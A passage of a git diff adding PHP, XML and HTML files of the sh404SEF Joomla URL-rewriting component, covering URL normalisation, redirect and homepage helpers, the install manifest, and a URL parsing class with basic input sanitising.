false) + { + // this is multipage article with showall + $tempTitle = JText::_('All Pages'); + $location .= $shSeparator . titleToLocation($tempTitle); + $shPageNumberWasReplaced = true; // always set the flag, otherwise we'll a Page-1 added + } + + // make sure we remove bad characters + $takethese = str_replace('|', '', $sefConfig->friendlytrim); + $location = JString::trim($location, $takethese); + + // add page number + if (!$shPageNumberWasReplaced + && ((!isset($limitstart) && (isset($limit) && $limit != 1 && $limit != $listLimit && $limit != $defaultListLimit)) || !empty($limitstart))) + { + $location .= $shSeparator . $page; + } + } + // add suffix + if (!empty($shSuffix) && !empty($location) && $location != '/' && JString::substr($location, -1) != '/') + { + $location = $shSuffix == '/' ? $location . $shSuffix : str_replace($shSuffix, '', $location) . $shSuffix; + } + + // add default index file + if ($sefConfig->addFile) + { + // V 1.2.4.t + if ((empty($shSuffix) || (!empty($shSuffix) && JString::subStr($location, -$suffixLength) != $shSuffix))) + $location .= (JString::substr($location, -1) == '/' ? '' : '/') . $sefConfig->addFile; + } + return JString::ltrim($location, '/'); +} + +// V 1.2.4.t check if this is a request for VM cookie check AND done by a search engine +// if so, this has to be an old link left over in search engine index, and we must 301 redirectt to +// same URl without vmvhk/ +function shCheckVMCookieRedirect() +{ + + $pageInfo = &Sh404sefFactory::getPageInfo(); + + if (shIsSearchEngine() && strpos($pageInfo->currentSefUrl, 'vmchk/') !== false) + { + shRedirect(str_replace('vmchk/', '', $pageInfo->currentSefUrl)); + } +} + +/* + * 404SEF SUPPORT FUNCTIONS + */ + +// V 1.2.4.q detect homepage, disregarding pagination +function shIsHomepage($string) +{ + + static $pages = array(); + static $home = ''; + + if (!isset($pages[$string])) + { + $pageInfo = &Sh404sefFactory::getPageInfo(); + if (empty($home) && !empty($pageInfo->homeLink)) + { + $home = Sh404sefHelperUrl::sortUrl(shCleanUpPag($pageInfo->homeLink)); + } + + $shTempString = JString::rtrim(str_replace($pageInfo->getDefaultFrontLiveSite(), '', $string), '/'); + $pages[$string] = Sh404sefHelperUrl::sortUrl(shCleanUpPag($shTempString)) == $home; // version t added sorting + } + return $pages[$string]; +} + +function shIsAnyHomepage($string) +{ + + static $pages = array(); + static $home = ''; + static $cleanedHomeLinks = array(); + + if (!isset($pages[$string])) + { + $pageInfo = &Sh404sefFactory::getPageInfo(); + if (empty($cleanedHomeLinks)) + { + foreach ($pageInfo->homeLinks as $link) + { + $cleanedHomeLinks[] = shCleanUpPag($link); + } + } + + $shTempString = JString::rtrim(str_replace($pageInfo->getDefaultFrontLiveSite(), '', $string), '/'); + $shTempString = Sh404sefHelperUrl::sortUrl(shCleanUpPag($shTempString)); + + // check all homepages + $pages[$string] = false; + foreach ($cleanedHomeLinks as $link) + { + if ($link == $shTempString) + { + $pages[$string] = true; + } + } + + } + return $pages[$string]; +} + +function getMenuTitle($option, $task, $id = null, $string = null, $shLanguage = null) +{ + + $pageInfo = &Sh404sefFactory::getPageInfo(); + $sefConfig = &Sh404sefFactory::getConfig(); + + $shLanguage = empty($shLanguage) ? $pageInfo->currentLanguageTag : $shLanguage; + $nameField = $sefConfig->useMenuAlias ? 'alias' : 'title'; + + $menu = JFactory::getApplication()->getMenu(); + + $attr = array(); + $values = array(); + if (!empty($string)) + { + $attr[] = 'link'; + $values[] = $string; + } + else if (!empty($id)) + { + $attr[] = 'id'; + $values[] = $id; + } + else if (!empty($option)) + { + // need to find component id + $component = JComponentHelper::getComponent($option, $strict = true); + if (!$component->enabled) + { + return ('/'); + } + $attr[] = 'component_id'; + $values[] = $component->id; + } + else + { + return '/'; + } + + // now ask J! to fetch menu item title + $menuItem = shFindMenuItem($menu->getMenu(), $attr, $values, $firstOnly = true); + + if (!empty($menuItem)) + { + + $languages = JLanguageHelper::getLanguages(); + foreach ($languages as $langId => $language) + { + if (strpos($pageInfo->homeLinks[$language->lang_code], 'Itemid=' . $menuItem->id) !== false) + { + $title = $langId == 0 ? '/' : $language->sef; + return $title; // this is one of the homepages, retunr / or a lang code + } + } + // non-homepage + if (!empty($menuItem->$nameField)) + { + return $menuItem->$nameField; + } + + } + + return str_replace('com_', '', $option); + +} + +function shFindMenuItem($menuItems, $attributes, $values, $firstonly = false) +{ + $items = array(); + $attributes = (array) $attributes; + $values = (array) $values; + + foreach ($menuItems as $item) + { + if (!is_object($item)) + { + continue; + } + + $test = true; + for ($i = 0, $count = count($attributes); $i < $count; $i++) + { + if (is_array($values[$i])) + { + if (!in_array($item->$attributes[$i], $values[$i])) + { + $test = false; + break; + } + } + else + { + if ($item->$attributes[$i] != $values[$i]) + { + $test = false; + break; + } + } + } + + if ($test) + { + if ($firstonly) + { + return $item; + } + + $items[] = $item; + } + } + + return $items; +} + +function shIsSearchEngine() +{ + // return true if user agant is a search engine + static $isSearchEngine = null; + + //return true; + if (!is_null($isSearchEngine)) + { + return $isSearchEngine; + } + else + { + $isSearchEngine = false; + $useragent = empty($_SERVER['HTTP_USER_AGENT']) ? '' : strtolower($_SERVER['HTTP_USER_AGENT']); + if (!empty($useragent)) + { + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig($forced = false); + $remotes = empty($remoteConfig->config['searchenginesagents']) ? array() : $remoteConfig->config['searchenginesagents']; + $agents = array_unique(array_merge(Sh404sefFactory::getPConfig()->searchEnginesAgents, $remotes)); + foreach ($agents as $agent) + { + if (strpos($useragent, strtolower($agent)) !== false) + { + $isSearchEngine = true; + return true; + } + } + } + return $isSearchEngine; + } +} + +// J 1.5 specific functions +function shRemoveSlugs($vars, $removeWhat = true) +{ + // remove slugs from a J! 1.5 non-sef style vars array + if (!empty($vars)) + { + foreach ($vars as $k => $v) + { + $m = is_string($v) ? explode(':', $v) : null; // tracker #14107, thanks 3dentech + if (!empty($m) && !empty($m[1]) && is_numeric($m[0])) + { + // an integer followed by : followed by something + $vars[$k] = $removeWhat === 'removeId' ? $m[1] : $m[0]; // depending on params, either keep id or slug + } + else + { + // use the raw value, for arrays for instance + $vars[$k] = $v; + } + } + // fix some problems in incoming URLs + if (!empty($vars['Itemid'])) + { + // sometimes we get doubles : ?Itemid=xx?Itemid=xx + $vars['Itemid'] = intval($vars['Itemid']); + } + if (!empty($vars['view'])) + { + // some links have view=article; + $vars['view'] = str_replace('article;', 'article', $vars['view']); + // view is set but no option : use default controller (com_content) + if (empty($vars['option'])) + $vars['option'] = 'com_content'; + } + if (empty($vars['option']) && !empty($vars['format']) && $vars['format'] == 'feed') + { + $vars['option'] = 'com_content'; + } + } + return $vars; +} + +function shNormalizeNonSefUri(&$uri, $menu = null, $removeSlugs = true) +{ + // put back a J!1.5 non-sef url to J! 1.0.x format + // Get the route + $route = $uri->getPath(); + //Get the query vars + $vars = $uri->getQuery(true); + // fix some problems in incoming URLs + if (!empty($vars['Itemid'])) + { + // sometimes we get doubles : ?Itemid=xx?Itemid=xx + $vars['Itemid'] = intval($vars['Itemid']); + $uri->setQuery($vars); + } + + // fix urls obtained through a single Itemid, in menus : url is option=com_xxx&Itemid=yy + $urlLang = $uri->getVar('lang', ''); + if ((count($vars) == 2 && $uri->getVar('Itemid')) || (count($vars) == 3 && $uri->getVar('Itemid') && $uri->getVar('lang'))) + { + if (empty($menu)) + { + $menu = JFactory::getApplication()->getMenu(); + } + $shItem = $menu->getItem($vars['Itemid']); + if (!empty($shItem)) + { + // we found the menu item + $url = $shItem->link . '&Itemid=' . $shItem->id; + $newUri = new JURI($url); // rebuild $uri based on this new url + $vars = $newUri->getQuery(true); + if (empty($urlLang)) + { + $urlLang = $shItem->language; + if ($urlLang == '*') + { + // use current page language + $urlLang = Sh404sefFactory::getPageInfo()->currentLanguageTag; + } + $urlLang = Sh404sefHelperLanguage::getUrlCodeFromTag($urlLang); + } + if (!empty($urlLang)) + { + $vars['lang'] = $urlLang; + } + } + } + + if ($removeSlugs !== false) + { + $vars = shRemoveSlugs($vars, $removeSlugs); + } + $uri->setQuery($vars); +} + +function shNormalizeNonSefUrl($url) +{ + // returns non-sef url with slugs removed + a few fixes + $uri = new JURI($url); + shNormalizeNonSefUri($uri); + return $uri->toString(array('path', 'query', 'fragment')); + +} + +function shCheckRedirect($dest, $incomingUrl) +{ + $sefConfig = Sh404sefFactory::getConfig(); + if (!empty($dest) && $dest != $incomingUrl) + { + // redirect to alias + if ($dest == sh404SEF_HOMEPAGE_CODE) + { + if (!empty($sefConfig->shForcedHomePage)) + { + $dest = shFinalizeURL($sefConfig->shForcedHomePage); + } + else + { + $dest = shFinalizeURL(Sh404sefFactory::getPageInfo()->getDefaultFrontLiveSite()); + } + } + else + { + $shUri = new JURI($dest); + $shOriginalUri = clone ($shUri); + $dest = shSefRelToAbs($dest, '', $shUri, $shOriginalUri) . $shUri->toString(array('query')); + } + + if ($dest != $incomingUrl) + { + ShlSystem_Log::debug('sh404sef', 'Redirecting to ' . $dest . ' from alias ' . $incomingUrl); + shRedirect($dest); + } + } +} + +function shUrlSafeDisplay($url) +{ + return htmlentities($url, ENT_QUOTES, 'UTF-8'); +} + +/** + * Read config values from sobi2 config table + * + * @param $key + * @param $section + * @return string + */ +function shGetSobi2Config($key, $section) +{ + ShlSystem_Log::debug('sh404sef', 'Using removed shGetSobi2Config function, not applicable anymore'); + return false; +} + +/** + * Insert an intro text into the content table + * + * @param strng $shIntroText + * @return boolean, true if success + */ +function shInsertContent($pageTitle, $shIntroText) +{ + jimport('joomla.database.table'); + try + { + $catid = Sh404sefHelperCategories::getUncategorizedCat(); + if (empty($catid)) + { + $this->setError(JText::_('COM_SH404SEF_CANNOT_SAVE_404_NO_UNCAT')); + return; + } + $contentTable = JTable::getInstance('content'); + $content = array('title' => $pageTitle, 'alias' => $pageTitle, 'title_alias' => $pageTitle, 'introtext' => $shIntroText, 'state' => 1, + 'catid' => $catid, + 'attribs' => '{"menu_image":"-1","show_title":"0","show_section":"0","show_category":"0","show_vote":"0","show_author":"0","show_create_date":"0","show_modify_date":"0","show_pdf_icon":"0","show_print_icon":"0","show_email_icon":"0","pageclass_sfx":""'); + + $status = $contentTable->save($content); + } + catch (Exception $e) + { + $status = false; + } + + return $status; +} + +/** + * Returns a string with an article id, in accordance + * with various settings + * @param $id + * @param $view + * @param $option + * @param $shLangName + */ +function shGetArticleIdString($id, $view, $option, $shLangName) +{ + $sefConfig = &Sh404sefFactory::getConfig(); + + // V 1.5.7 : article id, on some categories only + $articleId = ''; + if ($sefConfig->ContentTitleInsertArticleId && isset($sefConfig->shInsertContentArticleIdCatList) && !empty($id) && ($view == 'article')) + { + $slugsModel = Sh404sefModelSlugs::getInstance(); + $article = $slugsModel->getArticle($id); + if (empty($article[$shLangName])) + { + $shLangName = '*'; + } + + // check if article categogy is in the settings categories list, + // or that the categories list is empty, which means user selected the "All categories" option + if (!empty($article[$shLangName])) + { + $foundCat = (!empty($sefConfig->shInsertContentArticleIdCatList) && empty($sefConfig->shInsertContentArticleIdCatList[0])) + || in_array($article[$shLangName]->catid, $sefConfig->shInsertContentArticleIdCatList); + if ($foundCat !== null && $foundCat !== false) + { + $articleId = $article[$shLangName]->id; + } + } + } + + return $articleId; +} + +/** + * Reads an return the page title assigned to either + * current or a specific menu item + * + * @param $Itemid itemid of the desired menu item + */ +function shGetJoomlaMenuItemPageTitle($Itemid = 0) +{ + // get the current menu item, or possibly the one asked for + $menus = JFactory::getApplication()->getMenu(); + $menuItem = empty($Itemid) ? $menus->getActive() : $menus->getItem($Itemid); + + // get value, if any set + $title = is_object($menuItem) ? $menuItem->params->get('page_title') : ''; + + // return whatever we found + return $title; +} + +/** + * check various conditions to decide if we + * should redirect from non-sef url to its + * sef equivalent + */ +function shShouldRedirectFromNonSef($pageInfo) +{ + die('voluntary die in ' . __METHOD__ . ' of class ' . __CLASS__); +} + +function shCheckCustomRedirects($path, $pageInfo) +{ + die('voluntary die in ' . __METHOD__ . ' of class ' . __CLASS__); +} + +function shCheckAlias($incomingUrl) +{ + die('voluntary die in ' . __METHOD__ . ' of class ' . __CLASS__); +} + +function shRawUrlDecodeDeep($data) +{ + if (is_array($data)) + { + foreach ($data as $key => $element) + { + $data[$key] = shRawUrlDecodeDeep($element); + } + return $data; + } + else + { + return rawurldecode($data); + } +} + +function shUrlDecodeFull($url) +{ + // security checks: copied from Joomla security patch, + // tracker id: 22767 + // Need to check that the URI is fully decoded in case of multiple-encoded attack vectors. + $halt = 0; + while (true) + { + $last = $url; + $url = rawurldecode($url); + + // Check whether the last decode is equal to the first. + if ($url == $last) + { + // Break out of the while if the URI is stable. + break; + } + else if (++$halt > 10) + { + // Runaway check. URI has been seriously compromised. + if (!headers_sent()) + { + header('HTTP/1.0 403 FORBIDDEN'); + echo 'Forbidden access'; + } + jexit(); + } + } + + return $url; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.php b/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.php new file mode 100644 index 00000000..d7a2d5d7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.php @@ -0,0 +1,87 @@ +plugin manager'; + return; +} + +// Access check. +if (!JFactory::getUser()->authorise('core.manage', 'com_sh404sef')) +{ + return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); +} + +if (Sh404sefConfigurationEdition::$id == 'full') +{ + if (JFactory::getApplication()->input->getCmd('view') == 'liveupdate') + { + require_once JPATH_COMPONENT_ADMINISTRATOR . '/liveupdate/liveupdate.php'; + LiveUpdate::handleRequest(); + return; + } +} +else +{ + // load edition-specific language file + JFactory::getLanguage()->load('com_sh404sef.' . Sh404sefConfigurationEdition::$id, JPATH_ADMINISTRATOR); +} + +// load base class file (functions, not autolaoded +if (!defined('SH404SEF_BASE_CLASS_LOADED')) +{ + $baseClassFile = JPATH_ADMINISTRATOR . '/components/com_sh404sef/sh404sef.class.php'; + if (is_readable($baseClassFile)) + { + require_once($baseClassFile); + } + else + { + JError::RaiseError(500, JText::_('COM_SH404SEF_NOREAD') . "( $baseClassFile )
    " . JText::_('COM_SH404SEF_CHK_PERMS')); + } +} + +// languagefilter system plugin warning (for Joomla! 2) +if (version_compare(JVERSION, '3', '<')) +{ + $warning = Sh404sefHelperLanguage::getLanguageFilterWarning(); + if (!empty($warning)) + { + JFactory::getApplication()->enqueueMessage($warning, 'warning'); + } +} + +// Ensure the behavior is loaded +JHtml::_('behavior.framework'); +if (version_compare(JVERSION, '3.0', 'ge')) +{ + JHtml::_('bootstrap.framework'); +} + +// find about specific controller requested +$cName = JFactory::getApplication()->input->getCmd('c'); + +// get controller from factory +$controller = Sh404sefFactory::getController($cName); + +Sh404sefHelperHtml::addSubmenu(JFactory::getApplication()->input); +// read and execute task +$controller->execute(JFactory::getApplication()->input->getCmd('task')); +$controller->redirect(); diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.xml b/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.xml new file mode 100644 index 00000000..15a277bb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.xml @@ -0,0 +1,226 @@ + + + + sh404SEF + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + + + installation.script.php + + + + install.mysql.utf8.sql + + + + + index.html + sh404sef.php + sef_ext.php + sample-404-Not-Found.tpl.html + shCache.php + shPageRewrite.php + shPageRewrite.full.php + shSec.php + + cache/index.html + images/external-black.png + images/external-white.png + sef_ext/com_banners.php + sef_ext/com_community.php + sef_ext/com_comprofiler.php + sef_ext/com_contact.php + sef_ext/com_content.php + sef_ext/com_hotproperty.php + sef_ext/com_kunena.php + sef_ext/com_letterman.php + sef_ext/com_magazine.php + sef_ext/com_mtree.php + sef_ext/com_myblog.php + sef_ext/com_newsfeeds.php + sef_ext/com_search.php + sef_ext/com_users.php + sef_ext/com_virtuemart.php + sef_ext/com_weblinks.php + sef_ext/com_wrapper.php + sef_ext/sample_com_plugin.php + meta_ext/com_content.php + + + pinterest + index.html + + + COM_SH404SEF + + COM_SH404SEF_CONTROL_PANEL + COM_SH404SEF_URL_MANAGER + COM_SH404SEF_ALIASES_MANAGER + COM_SH404SEF_PAGEID_MANAGER + COM_SH404SEF_404_REQ_MANAGER + COM_SH404SEF_TITLE_METAS_MANAGER + COM_SH404SEF_ANALYTICS_MANAGER + COM_SH404SEF_DOCUMENTATION + + + access.xml + admin.sh404sef.php + changelog.log + config.xml + defines.php + index.html + install.mysql.utf8.sql + pagination.php + pagination_j2.php + pagination_j3.php + sh404sef.php + shSEFConfig.class.php + sh_Net_URL.class.php + sh404sef.class.php + + config/config.sef.php + config/index.html + language/en.readme.php + language/en.postinstall.php + language/fr.readme.php + language/fr.postinstall.php + language/index.html + language/plugins/com_chronocontact.php + language/plugins/com_comprofiler.php + language/plugins/com_content.php + language/plugins/com_docman.php + language/plugins/com_kunena.php + language/plugins/com_hotproperty.php + language/plugins/com_letterman.php + language/plugins/com_magazine.php + language/plugins/com_mtree.php + language/plugins/com_myblog.php + language/plugins/com_newsfeeds.php + language/plugins/com_poll.php + language/plugins/com_rd_rss.php + language/plugins/com_registration.php + language/plugins/com_remository.php + language/plugins/com_rsgallery2.php + language/plugins/com_search.php + language/plugins/com_sobi2.php + language/plugins/com_users.php + language/plugins/com_virtuemart.php + language/plugins/com_weblinks.php + language/plugins/index.html + + security/index.html + security/sh404SEF_IP_black_list.dat + security/sh404SEF_IP_white_list.dat + security/sh404SEF_uAgent_black_list.dat + security/sh404SEF_uAgent_white_list.dat + images/config.png + images/cut-logs.png + images/cut-redirect.png + images/cut-url.png + images/down.png + images/help.png + images/info.png + images/sh404SEF-logo.png + images/sh404SEF-logo-big.png + images/logs.png + images/redirect.png + images/up.png + images/url.png + images/index.html + + adapters + assets + classes + configuration + controllers + exceptions + helpers + layouts + lib + liveupdate + models + tables + views + modules + plugins + + sh404seffactory.php + + + bg-BG.com_sh404sef.ini + bg-BG.com_sh404sef.sys.ini + bg-BG.mod_sh404sef_cpicon.ini + de-DE.com_sh404sef.ini + de-DE.com_sh404sef.sys.ini + de-DE.mod_sh404sef_cpicon.ini + en-GB.com_sh404sef.ini + en-GB.com_sh404sef.sys.ini + en-GB.com_sh404sef.joomsef.ini + en-GB.com_sh404sef.acesef.ini + en-GB.mod_sh404sef_cpicon.ini + fr-FR.com_sh404sef.ini + fr-FR.com_sh404sef.sys.ini + fr-FR.mod_sh404sef_cpicon.ini + hu-HU.com_sh404sef.ini + hu-HU.com_sh404sef.sys.ini + it-IT.com_sh404sef.ini + it-IT.com_sh404sef.sys.ini + nl-NL.com_sh404sef.ini + nl-NL.com_sh404sef.sys.ini + nl-NL.com_sh404sef.acesef.ini + nl-NL.com_sh404sef.joomsef.ini + nl-NL.mod_sh404sef_cpicon.ini + ro-RO.com_sh404sef.ini + ro-RO.com_sh404sef.sys.ini + ro-RO.mod_sh404sef_cpicon.ini + ru-RU.com_sh404sef.ini + ru-RU.com_sh404sef.sys.ini + ru-RU.mod_sh404sef_cpicon.ini + es-ES.com_sh404sef.ini + es-ES.com_sh404sef.sys.ini + sv-SE.com_sh404sef.ini + sv-SE.com_sh404sef.sys.ini + sv-SE.com_sh404sef.joomsef.ini + sv-SE.mod_sh404sef_cpicon.ini + + bg-BG.plg_sh404sefcore_sh404sefsocial.ini + bg-BG.plg_sh404sefcore_sh404sefsocial.sys.ini + de-DE.plg_sh404sefcore_sh404sefsocial.ini + de-DE.plg_sh404sefcore_sh404sefsocial.sys.ini + en-GB.plg_sh404sefcore_sh404sefsocial.ini + en-GB.plg_sh404sefcore_sh404sefsocial.sys.ini + fr-FR.plg_sh404sefcore_sh404sefsocial.ini + fr-FR.plg_sh404sefcore_sh404sefsocial.sys.ini + hu-HU.plg_sh404sefcore_sh404sefsocial.ini + hu-HU.plg_sh404sefcore_sh404sefsocial.sys.ini + it-IT.plg_sh404sefcore_sh404sefsocial.ini + it-IT.plg_sh404sefcore_sh404sefsocial.sys.ini + nl-NL.plg_sh404sefcore_sh404sefsocial.ini + nl-NL.plg_sh404sefcore_sh404sefsocial.sys.ini + ro-RO.plg_sh404sefcore_sh404sefsocial.ini + ro-RO.plg_sh404sefcore_sh404sefsocial.sys.ini + ru-RU.plg_sh404sefcore_sh404sefsocial.ini + ru-RU.plg_sh404sefcore_sh404sefsocial.sys.ini + es-ES.plg_sh404sefcore_sh404sefsocial.ini + es-ES.plg_sh404sefcore_sh404sefsocial.sys.ini + sv-SE.plg_sh404sefcore_sh404sefsocial.ini + sv-SE.plg_sh404sefcore_sh404sefsocial.sys.ini + + + + + + #__sh404sef_urls
    + #__sh404sef_metas
    + #__sh404sef_aliases
    + #__sh404sef_pageids
    +
    + +
    + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/sh404seffactory.php b/deployed/sh404sef/administrator/components/com_sh404sef/sh404seffactory.php new file mode 100644 index 00000000..fd74defb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/sh404seffactory.php @@ -0,0 +1,170 @@ + | +// +-----------------------------------------------------------------------+ +// +// $Id$ +// +// sh_Net_URL Class +class sh_Net_URL +{ + /** + * Full url + * @var string + */ + var $url; + /** + * Protocol + * @var string + */ + var $protocol; + /** + * Username + * @var string + */ + var $username; + /** + * Password + * @var string + */ + var $password; + /** + * Host + * @var string + */ + var $host; + /** + * Port + * @var integer + */ + var $port; + /** + * Path + * @var string + */ + var $path; + /** + * Query string + * @var array + */ + var $querystring; + /** + * Anchor + * @var string + */ + var $anchor; + /** + * Whether to use [] + * @var bool + */ + var $useBrackets; + + /** + * PHP5 Constructor + * + * Parses the given url and stores the various parts + * Defaults are used in certain cases + * + * @param string $url Optional URL + * @param bool $useBrackets Whether to use square brackets when + * multiple querystrings with the same name + * exist + */ + function __construct($url = null, $useBrackets = true, $fullDecode = false) + { + + if ($fullDecode) { + shUrlDecodeFull( $url); + } + + $url = str_replace('"', '"',$url); + $url = str_replace('<', '<',$url); + $url = str_replace('>', '>',$url); + $url = preg_replace('/eval\((.*)\)/u', '', $url); + $url = preg_replace('/[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']/u', '""', $url); + + $HTTP_SERVER_VARS = !empty($_SERVER) ? $_SERVER : $GLOBALS['HTTP_SERVER_VARS']; + $this->useBrackets = $useBrackets; + $this->url = $url; + $this->user = ''; + $this->pass = ''; + $this->host = ''; + $this->port = 80; + $this->path = ''; + $this->querystring = array(); + $this->anchor = ''; + // Only use defaults if not an absolute URL given + if (!preg_match('/^[a-z0-9]+:\/\//iu', $url)) { + $this->protocol = (isset ($HTTP_SERVER_VARS['HTTPS']) ? + (@$HTTP_SERVER_VARS['HTTPS'] == 'on' ? 'https' : 'http') : 'http'); + /** + * Figure out host/port + */ + if (!empty($HTTP_SERVER_VARS['HTTP_HOST']) AND preg_match('/^(.*)(:([0-9]+))?$/Uu', $HTTP_SERVER_VARS['HTTP_HOST'], $matches)) { + $host = $matches[1]; + if (!empty($matches[3])) { + $port = $matches[3]; + } else { + $port = $this->getStandardPort($this->protocol); + } + } + $this->user = ''; + $this->pass = ''; + $this->host = !empty($host) ? $host : (isset($HTTP_SERVER_VARS['SERVER_NAME']) ? $HTTP_SERVER_VARS['SERVER_NAME'] : 'localhost'); + $this->port = !empty($port) ? $port : (isset($HTTP_SERVER_VARS['SERVER_PORT']) ? $HTTP_SERVER_VARS['SERVER_PORT'] : $this->getStandardPort($this->protocol)); + $this->path = !empty($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : '/'; + $this->querystring = isset($HTTP_SERVER_VARS['QUERY_STRING']) ? $this->_parseRawQuerystring($HTTP_SERVER_VARS['QUERY_STRING']) : null; + $this->anchor = ''; + } + // Parse the url and store the various parts + if (!empty($url)) { + // replace & with &, other wise parse_url will not work properly + $url = str_replace( '&', '&', $url); + $urlinfo = parse_url($url); + // Default querystring + $this->querystring = array(); + foreach ($urlinfo as $key => $value) { + switch ($key) { + case 'scheme': + $this->protocol = $value; + $this->port = $this->getStandardPort($value); + break; + case 'user': + case 'pass': + case 'host': + case 'port': + $this->$key = $value; + break; + case 'path': + if ($value{0} == '/') { + $this->path = $value; + } else { + $path = dirname($this->path) == DIRECTORY_SEPARATOR ? '' : dirname($this->path); + $this->path = sprintf('%s/%s', $path, $value); + } + break; + case 'query': + $this->querystring = $this->_parseRawQueryString($value); + break; + case 'fragment': + $this->anchor = $value; + break; + } + } + } + } + + /** + * Returns full url + * + * @return string Full url + * @access public + */ + function getURL() + { + $querystring = $this->getQueryString(); + $this->url = $this->protocol . '://' + . $this->user . (!empty($this->pass) ? ':' : '') + . $this->pass . (!empty($this->user) ? '@' : '') + . $this->host . ($this->port == $this->getStandardPort($this->protocol) ? '' : ':' . $this->port) + . $this->path + . (!empty($querystring) ? '?' . $querystring : '') + . (!empty($this->anchor) ? '#' . $this->anchor : ''); + return $this->url; + } + /** + * Adds a querystring item + * + * @param string $name Name of item + * @param string $value Value of item + * @param bool $preencoded Whether value is urlencoded or not, default = not + * @access public + */ + function addQueryString($name, $value, $preencoded = false) + { + $this->querystring[$name] = $value; + } + /** + * Removes a querystring item + * + * @param string $name Name of item + * @access public + */ + function removeQueryString($name) + { + if (isset($this->querystring[$name])) { + unset($this->querystring[$name]); + } + } + /** + * Sets the querystring to literally what you supply + * + * @param string $querystring The querystring data. Should be of the format foo=bar&x=y etc + * @access public + */ + function addRawQueryString($querystring) + { + $this->querystring = $this->_parseRawQueryString($querystring); + } + /** + * Returns flat querystring + * + * @return string Querystring + * @access public + */ + function getQueryString() + { + static $argSeparator = null; + + if (is_null( $argSeparator)) { + $argSeparator = ini_get('arg_separator.output'); + } + + if (!empty($this->querystring)) { + foreach ($this->querystring as $name => $value) { + if (is_array($value)) { + foreach ($value as $k => $v) { + $querystring[] = $this->useBrackets ? sprintf('%s[%s]=%s', $name, $k, $v) : ($name . '=' . $v); + } + } elseif (!is_null($value)) { + $querystring[] = $name . '=' . $value; + } else { + $querystring[] = $name; + } + } + $querystring = implode( $argSeparator, $querystring); + } else { + $querystring = ''; + } + return $querystring; + } + + function getQueryVars( $var = null) { + + if (is_null( $var)) { + return $this->querystring; + } + + $response = null; + if (!empty($this->querystring)) { + if (isset( $this->querystring[$var])) { + $response = $this->querystring[$var]; + } + } + + return $response; + } + + /** + * Parses raw querystring and returns an array of it + * + * @param string $querystring The querystring to parse + * @return array An array of the querystring data + * @access private + */ + + function _parseRawQuerystring($querystring) + { + $arr = array(); + parse_str( $querystring, $arr); + $return = Sh404sefHelperUrl::deepEncode( $arr); + + return $return; + } + /** + * Resolves //, ../ and ./ from a path and returns + * the result. Eg: + * + * /foo/bar/../boo.php => /foo/boo.php + * /foo/bar/../../boo.php => /boo.php + * /foo/bar/.././/boo.php => /foo/boo.php + * + * This method can also be called statically. + * + * @param string $url URL path to resolve + * @return string The result + */ + function resolvePath($path) + { + $path = explode('/', str_replace('//', '/', $path)); + for ($i=0; $i 1 OR ($i == 1 AND $path[0] != '') ) ) { + unset($path[$i]); + unset($path[$i-1]); + $path = array_values($path); + $i -= 2; + } elseif ($path[$i] == '..' AND $i == 1 AND $path[0] == '') { + unset($path[$i]); + $path = array_values($path); + $i--; + } else { + continue; + } + } + return implode('/', $path); + } + /** + * Returns the standard port number for a protocol + * + * @param string $scheme The protocol to lookup + * @return integer Port number or NULL if no scheme matches + * + * @author Philippe Jausions + */ + function getStandardPort($scheme) + { + switch (strtolower($scheme)) { + case 'http': return 80; + case 'https': return 443; + case 'ftp': return 21; + case 'imap': return 143; + case 'imaps': return 993; + case 'pop3': return 110; + case 'pop3s': return 995; + default: return null; + } + } + /** + * Forces the URL to a particular protocol + * + * @param string $protocol Protocol to force the URL to + * @param integer $port Optional port (standard port is used by default) + */ + function setProtocol($protocol, $port = null) + { + $this->protocol = $protocol; + $this->port = is_null($port) ? $this->getStandardPort() : $port; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/tables/aliases.php b/deployed/sh404sef/administrator/components/com_sh404sef/tables/aliases.php new file mode 100644 index 00000000..46433687 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/tables/aliases.php @@ -0,0 +1,95 @@ +id) ) { + return true; + } + + // if new record, check there is no record with same pageid + // but not same non-sef + $count = ShlDbHelper::count($this->_tbl, '*', $this->_db->quoteName( 'alias') . ' = ? and ' . $this->_db->quoteName( 'newurl') . ' <> ?', array($this->alias, $this->newurl)); + + if (!empty( $count)) { + throw new Sh404sefExceptionDefault( 'Cannot save alias : this alias already exists in the database.') ; + } + + return empty( $count); + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/tables/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/tables/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/tables/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/tables/metas.php b/deployed/sh404sef/administrator/components/com_sh404sef/tables/metas.php new file mode 100644 index 00000000..b4b947bd --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/tables/metas.php @@ -0,0 +1,232 @@ +newurl = JString::trim($this->newurl); + $this->metadesc = JString::trim($this->metadesc); + $this->metakey = JString::trim($this->metakey); + $this->metatitle = JString::trim($this->metatitle); + $this->metalang = JString::trim($this->metalang); + $this->metarobots = JString::trim($this->metarobots); + $this->canonical = JString::trim($this->canonical); + + // Open graph data + $this->og_site_name = JString::trim($this->og_site_name); + $this->fb_admin_ids = JString::trim($this->fb_admin_ids); + $this->og_latitude = JString::trim($this->og_latitude); + $this->og_longitude = JString::trim($this->og_longitude); + $this->og_street_address = JString::trim($this->og_street_address); + 